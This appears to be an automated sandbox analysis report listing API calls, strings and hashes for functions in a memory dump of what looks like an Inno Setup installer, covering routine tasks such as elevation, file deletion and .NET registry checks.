API String ID: 770386003-3271284199
Opcode ID: de91f1524b69e76101f3837233d2e97fab0e5124a8373fe279799c0a45e82a5b
Instruction ID: dc9605a8fa85faa7e26666280e38f4bb9eef289f9d475eb09267a792e8d1a7e6
Opcode Fuzzy Hash: de91f1524b69e76101f3837233d2e97fab0e5124a8373fe279799c0a45e82a5b
Instruction Fuzzy Hash: 2071A070E00B589EDB20DFA9DC46B9EBBF5EB09304F5041AAF509EB282D7749940CF65

Uniqueness

Uniqueness Score: -1.00%

Function 006A4AF0, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 93COMMON

Download Yara Rule

APIs

Part of subcall function 006A490C: GetModuleHandleW.KERNEL32(kernel32.dll,GetFinalPathNameByHandleW), ref: 006A4938
Part of subcall function 006A490C: GetFileAttributesW.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 006A4951
Part of subcall function 006A490C: CreateFileW.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 006A497B
Part of subcall function 006A490C: CloseHandle.KERNEL32(00000000), ref: 006A4999

Part of subcall function 006A4A1C: GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,006A4AAD,?,00000097,00000000,?,006A4B27,00000000,006A4C3F,?,?,00000001), ref: 006A4A4B

ShellExecuteExW.SHELL32(0000003C), ref: 006A4B77
GetLastError.KERNEL32(0000003C,00000000,006A4C3F,?,?,00000001), ref: 006A4B80
MsgWaitForMultipleObjects.USER32 ref: 006A4BCD
GetExitCodeProcess.KERNEL32 ref: 006A4BF3
CloseHandle.KERNEL32(00000000,006A4C24,00000000,00000000,000000FF,000004FF,00000000,006A4C1D,?,0000003C,00000000,006A4C3F,?,?,00000001), ref: 006A4C17

Strings

MsgWaitForMultipleObjects, xrefs: 006A4BDC
ShellExecuteEx, xrefs: 006A4B91
GetExitCodeProcess, xrefs: 006A4BFC
runas, xrefs: 006A4B44
<, xrefs: 006A4B36
ShellExecuteEx returned hProcess=0, xrefs: 006A4BA1

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Handle$CloseFile$AttributesCodeCreateCurrentDirectoryErrorExecuteExitLastModuleMultipleObjectsProcessShellWait
String ID: <$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
API String ID: 254331816-221126205
Opcode ID: f58d892ecbf3957924baaf94d627c3f4773a6fb568573e385cd84aadd096ba2e
Instruction ID: af08106467425c78c69e3bcdac59d2dec0135d8603cf53517b0e3d9c80496904
Opcode Fuzzy Hash: f58d892ecbf3957924baaf94d627c3f4773a6fb568573e385cd84aadd096ba2e
Instruction Fuzzy Hash: C0318470A01208AFDB10FFE9CC82A9DB6A5EF8A314F500579F514E7281DBB49D408F69

Uniqueness

Uniqueness Score: -1.00%

Function 0040E0D4, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 140stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,0041CF88,?,?), ref: 0040E0F1
GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040E102
FindFirstFileW.KERNEL32(?,?,kernel32.dll,0041CF88,?,?), ref: 0040E202
FindClose.KERNEL32(?,?,?,kernel32.dll,0041CF88,?,?), ref: 0040E214
lstrlenW.KERNEL32(?,?,?,?,kernel32.dll,0041CF88,?,?), ref: 0040E220
lstrlenW.KERNEL32(?,?,?,?,?,kernel32.dll,0041CF88,?,?), ref: 0040E265

Strings

GetLongPathNameW, xrefs: 0040E0FC
kernel32.dll, xrefs: 0040E0EC
\, xrefs: 0040E232

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameW$\$kernel32.dll
API String ID: 1930782624-3908791685
Opcode ID: 1e5aa63ad13805ebe641060d55f71927a25656d4bbeb27d65059da7d04647448
Instruction ID: 85f15f90104044dde56611b048d4fe37091be9da2e2d426f5e1dee482ffdf80d
Opcode Fuzzy Hash: 1e5aa63ad13805ebe641060d55f71927a25656d4bbeb27d65059da7d04647448
Instruction Fuzzy Hash: 09418471E005189BCB10DAA6CC85ADEB3B9EF44310F1449FAD504F72C1EB789E568F89

Uniqueness

Uniqueness Score: -1.00%

Function 006A52B8, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32 ref: 006A531B
GetWindowLongW.USER32(?,000000F0), ref: 006A5338
GetWindowLongW.USER32(?,000000EC), ref: 006A535D

Part of subcall function 005ABC0C: IsWindow.USER32(8B565300), ref: 005ABC1A
Part of subcall function 005ABC0C: EnableWindow.USER32(8B565300,000000FF), ref: 005ABC29

GetActiveWindow.USER32 ref: 006A543C
SetActiveWindow.USER32(006C377D,006A54A6,006A54BC,?,?,000000EC,?,000000F0,?,00000000,006A54D5,?,00000000,?,00000000), ref: 006A548F

Strings

`, xrefs: 006A52F1

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$ActiveLong$EnableIconic
String ID: `
API String ID: 4222481217-2679148245
Opcode ID: f82f3a88dc6d79e55ae111fc2833cd54c161982065b92a2fb1a1cf7feaba2b23
Instruction ID: 0fd76088e2c4d2a0b73483b86e0718ee358c57a1ce37f9eef895c2ea124613ec
Opcode Fuzzy Hash: f82f3a88dc6d79e55ae111fc2833cd54c161982065b92a2fb1a1cf7feaba2b23
Instruction Fuzzy Hash: 3C613574A04608AFDB00EFA9C885A9EBBF6FB4A350F55406AF805E7361E7749D41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 006B76A0, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,006B77DD,?,006D479C,?,?,006B7992,00000000,006B79E6,?,00000000,00000000,00000000), ref: 006B76F1
SetFileAttributesW.KERNEL32(00000000,00000010), ref: 006B7774
FindNextFileW.KERNEL32(000000FF,?,00000000,006B77B0,?,00000000,?,00000000,006B77DD,?,006D479C,?,?,006B7992,00000000,006B79E6), ref: 006B778C
FindClose.KERNEL32(000000FF,006B77B7,006B77B0,?,00000000,?,00000000,006B77DD,?,006D479C,?,?,006B7992,00000000,006B79E6), ref: 006B77AA

Strings

isRS-???.tmp, xrefs: 006B76D9
isRS-, xrefs: 006B7711

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: fcb7534cec43500e7cf4688ec244d203780ab1b8400e2daebf376880753c18b7
Instruction ID: 79e9ceeb2d56e6557c801ea3163462384df166d2aae906ae326ab386235d3f59
Opcode Fuzzy Hash: fcb7534cec43500e7cf4688ec244d203780ab1b8400e2daebf376880753c18b7
Instruction Fuzzy Hash: 6631A470A04618AFCB10DB65CC95ADDB7B9EBC8304F5145FAE804B3391EB389E808B58

Uniqueness

Uniqueness Score: -1.00%

Function 005C7E30, Relevance: 9.1, APIs: 6, Instructions: 98windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32 ref: 005C7E75
GetWindowLongW.USER32(?,000000F0), ref: 005C7E92
GetWindowLongW.USER32(?,000000EC), ref: 005C7EB7
GetActiveWindow.USER32 ref: 005C7EC5
MessageBoxW.USER32(00000000,00000000,?,000000E5), ref: 005C7EF2
SetActiveWindow.USER32(00000000,005C7F20,000000E5,00000000,005C7F19,?,?,000000EC,?,000000F0,?,00000000,005C7F56,?,?,00000000), ref: 005C7F13

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$ActiveLong$IconicMessage
String ID:
API String ID: 1633107849-0
Opcode ID: 89247077e473a3f80b344840f48a9dcafb7ad50444f056bad934636e3a99670f
Instruction ID: 04038d4d1975b4c22e4e20a0d885d21cf8c5e77e15af7471f3fa6a64eef30c34
Opcode Fuzzy Hash: 89247077e473a3f80b344840f48a9dcafb7ad50444f056bad934636e3a99670f
Instruction Fuzzy Hash: F3316E75A08208AFDB00DFA9D885EA97BE9FB8E754F1144A9F504D77A1CB34AD00DB14

Uniqueness

Uniqueness Score: -1.00%

Function 005C78B8, Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

InitializeSecurityDescriptor.ADVAPI32(00000001,00000001), ref: 005C78C5
SetSecurityDescriptorDacl.ADVAPI32(00000000,000000FF,00000000,00000000,00000001,00000001), ref: 005C78D5

Part of subcall function 00413E90: CreateMutexW.KERNEL32(?,?,?,?,006B7A93,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,006B7DB9,?,?,00000000), ref: 00413EA6

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: DescriptorSecurity$CreateDaclInitializeMutex
String ID:
API String ID: 3525989157-0
Opcode ID: 364cdd896dbb109610e95a44878ce712291c39d4ff18a58479a2635730072091
Instruction ID: 330012b0c6753e8d8900aa9d7e53afb48d76169d5e03c13c529c7fe63a2e2798
Opcode Fuzzy Hash: 364cdd896dbb109610e95a44878ce712291c39d4ff18a58479a2635730072091
Instruction Fuzzy Hash: E9E092B16443006FE700DFB58C86F9B77DC9B84725F104A2EB664DB2C1E778DA48879A

Uniqueness

Uniqueness Score: -1.00%

Function 006B79F4, Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 260COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,00000000,006B7DB9,?,?,00000000,?,00000000,00000000,?,006B829A,00000000,006B82A4,?,00000000), ref: 006B7A7B
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,006B7DB9,?,?,00000000,?,00000000,00000000), ref: 006B7AA1
MsgWaitForMultipleObjects.USER32 ref: 006B7AC2
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,006B7DB9,?,?,00000000,?,00000000), ref: 006B7AD7

Part of subcall function 005C5D2C: GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,005C5DC1,?,?,?,00000001,?,0060FCDE,00000000,0060FD49), ref: 005C5D61

Strings

Inno-Setup-RegSvr-Mutex, xrefs: 006B7A85
.msg, xrefs: 006B7AFA
.lst, xrefs: 006B7B14
/REGU, xrefs: 006B7A4E
(Pm, xrefs: 006B7B3A
Setup, xrefs: 006B7A66
/REG, xrefs: 006B7A2A

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ShowWindow$FileModuleMultipleNameObjectsWait
String ID: (Pm$.lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 66301061-2153116510
Opcode ID: 5bdea35ab40721645dc5111f0b008465b924941437058334eeb773c9a3342448
Instruction ID: 8ff4ba97fe8783844e50e44af70b96f4c7a98e8a8f2e68f95f10e32dd77d20f9
Opcode Fuzzy Hash: 5bdea35ab40721645dc5111f0b008465b924941437058334eeb773c9a3342448
Instruction Fuzzy Hash: 9E91B1B06082099FDB10EBA4D856FEEBBB6FF88304F514469F500A7691DB39AD81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0062967C, Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 214COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,0062993E,?,?,?,?,00000005,00000000,00000000,?,?,0062AD40,00000000,00000000,?,00000000), ref: 006297F2

Strings

.chm, xrefs: 0062971E
The file appears to be in use (%d). Will delete on restart., xrefs: 0062983B
.chw, xrefs: 00629737
Failed to strip read-only attribute., xrefs: 006297D7
.hlp, xrefs: 006296B9
Stripped read-only attribute., xrefs: 006297CB
.gid, xrefs: 006296D2
.lnk, xrefs: 0062975D
.fts, xrefs: 006296F6
Deleting file: %s, xrefs: 0062978F
Failed to delete the file; it may be in use (%d)., xrefs: 006298D5

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast
String ID: .chm$.chw$.fts$.gid$.hlp$.lnk$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
API String ID: 1452528299-3112430753
Opcode ID: 64308b3007d96282ce7cfa50580f1790f2f1fb45aab22331f9892aaa29dc517b
Instruction ID: 5f97cc3f942ec822775001ce78f35f044808c5a8b545990c5ebfc5930a6ec5c3
Opcode Fuzzy Hash: 64308b3007d96282ce7cfa50580f1790f2f1fb45aab22331f9892aaa29dc517b
Instruction Fuzzy Hash: 7871B430B00A645BDB05EBA8E846BEE77A6AFC9310F14446DF801EB381DA749D45CB79

Uniqueness

Uniqueness Score: -1.00%

Function 0060DE38, Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 253registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005C6790: RegOpenKeyExW.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,jn\,?,00000000,?,005C6E0A,00000001,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,005C6E6A), ref: 005C67AC

RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,?,00000000,0060E0DA,?,?,00000003,00000000,00000000,0060E11E), ref: 0060DF59

Part of subcall function 005C72F8: FormatMessageW.KERNEL32(00003200,00000000,00000000,00000000,?,00000400,00000000,00000000,005CAC2A,00000000,005CAC7B,?,005CAE5C), ref: 005C7317

RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000004,00000000,0060E018,?,?,00000000,00000000,?,00000000,?,00000000), ref: 0060DFDA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000004,00000000,0060E018,?,?,00000000,00000000,?,00000000,?,00000000), ref: 0060E001

Strings

Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 0060DEAE
RegOpenKeyEx, xrefs: 0060DED3
, xrefs: 0060DECA
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 0060DE75

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: QueryValue$FormatMessageOpen
String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2812809588-1577016196
Opcode ID: 3cbfb93c20479b7fff55c543876a7ba0b9602c16a7e2eee49dc17510f7c51143
Instruction ID: 5ffe65932f4f8e7796c8cf642ead8af5e42ac307f6e0ca7c7b751169975c555e
Opcode Fuzzy Hash: 3cbfb93c20479b7fff55c543876a7ba0b9602c16a7e2eee49dc17510f7c51143
Instruction Fuzzy Hash: 62919E70A44219AFDB04DFE5C886BEFBBBAEB48304F10486AF501F7381D77999458B64

Uniqueness

Uniqueness Score: -1.00%

Function 00626EC8, Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 162registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,006270D1,?,00626BCC,?,00000000,00000000,00000000,?,?,0062733C,00000000), ref: 00626F75
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,006270D1,?,00626BCC,?,00000000,00000000,00000000,?,?,0062733C,00000000), ref: 00626FDF
RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,00000001,00000000,00000000,006270D1,?,00626BCC,?,00000000,00000000,00000000,?), ref: 00627046

Strings

SOFTWARE\Microsoft\.NETFramework\Policy\v2.0, xrefs: 00626F95
SOFTWARE\Microsoft\.NETFramework\Policy\v4.0, xrefs: 00626F2B
SOFTWARE\Microsoft\.NETFramework\Policy\v1.1, xrefs: 00626FFC
.NET Framework not found, xrefs: 00627092
v2.0.50727, xrefs: 00626FD1
.NET Framework version %s not found, xrefs: 0062707E
v1.1.4322, xrefs: 00627038
v4.0.30319, xrefs: 00626F67

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Close
String ID: .NET Framework not found$.NET Framework version %s not found$SOFTWARE\Microsoft\.NETFramework\Policy\v1.1$SOFTWARE\Microsoft\.NETFramework\Policy\v2.0$SOFTWARE\Microsoft\.NETFramework\Policy\v4.0$v1.1.4322$v2.0.50727$v4.0.30319
API String ID: 3535843008-446240816
Opcode ID: 2e916b96cb162c9b49b67c5b8810f7890dc19850b28a0617b0e300b88c526d21
Instruction ID: c0f20b2d71ec8f474bf61d9ec020991ed2f273380f667ab3d85d0ceb4907a677
Opcode Fuzzy Hash: 2e916b96cb162c9b49b67c5b8810f7890dc19850b28a0617b0e300b88c526d21
Instruction Fuzzy Hash: 86510970E08529AFCB05DBA8E861FFE7BB7DB85300F15006EF50197381D679AA098F60

Uniqueness

Uniqueness Score: -1.00%

Function 00625B40, Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 70sleepsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00625B77
TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 00625B93
WaitForSingleObject.KERNEL32(?,00002710,?), ref: 00625BA1
GetExitCodeProcess.KERNEL32 ref: 00625BB2
CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00625BF9
Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00625C15

Strings

Helper process exited with failure code: 0x%x, xrefs: 00625BDF
Helper process exited., xrefs: 00625BC1
Helper process exited, but failed to get exit code., xrefs: 00625BEB
Stopping 64-bit helper process. (PID: %u), xrefs: 00625B69
Helper isn't responding; killing it., xrefs: 00625B83

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
API String ID: 3355656108-1243109208
Opcode ID: 345e8be281349136ce4f41bbb6d12d2eccf1fef384b7983b5e8052c9d0ea8ad0
Instruction ID: d0bfad0dce46509abd09e9749dfb7e1faf5b73955165e0b8576abc6345a57add
Opcode Fuzzy Hash: 345e8be281349136ce4f41bbb6d12d2eccf1fef384b7983b5e8052c9d0ea8ad0
Instruction Fuzzy Hash: C6218070604F519EC330EB78E885B8BBBD69F48314F44CD2DB59BC7681E674E8808B66

Uniqueness

Uniqueness Score: -1.00%

Function 006B5CC8, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 145fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0060CD14: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,0060CE51), ref: 0060CE01
Part of subcall function 0060CD14: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,0060CE51), ref: 0060CE11

CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,006B5EB6), ref: 006B5D4B
SetFileAttributesW.KERNEL32(00000000,00000080,00000000,00000000,00000000,00000000,006B5EB6), ref: 006B5D72
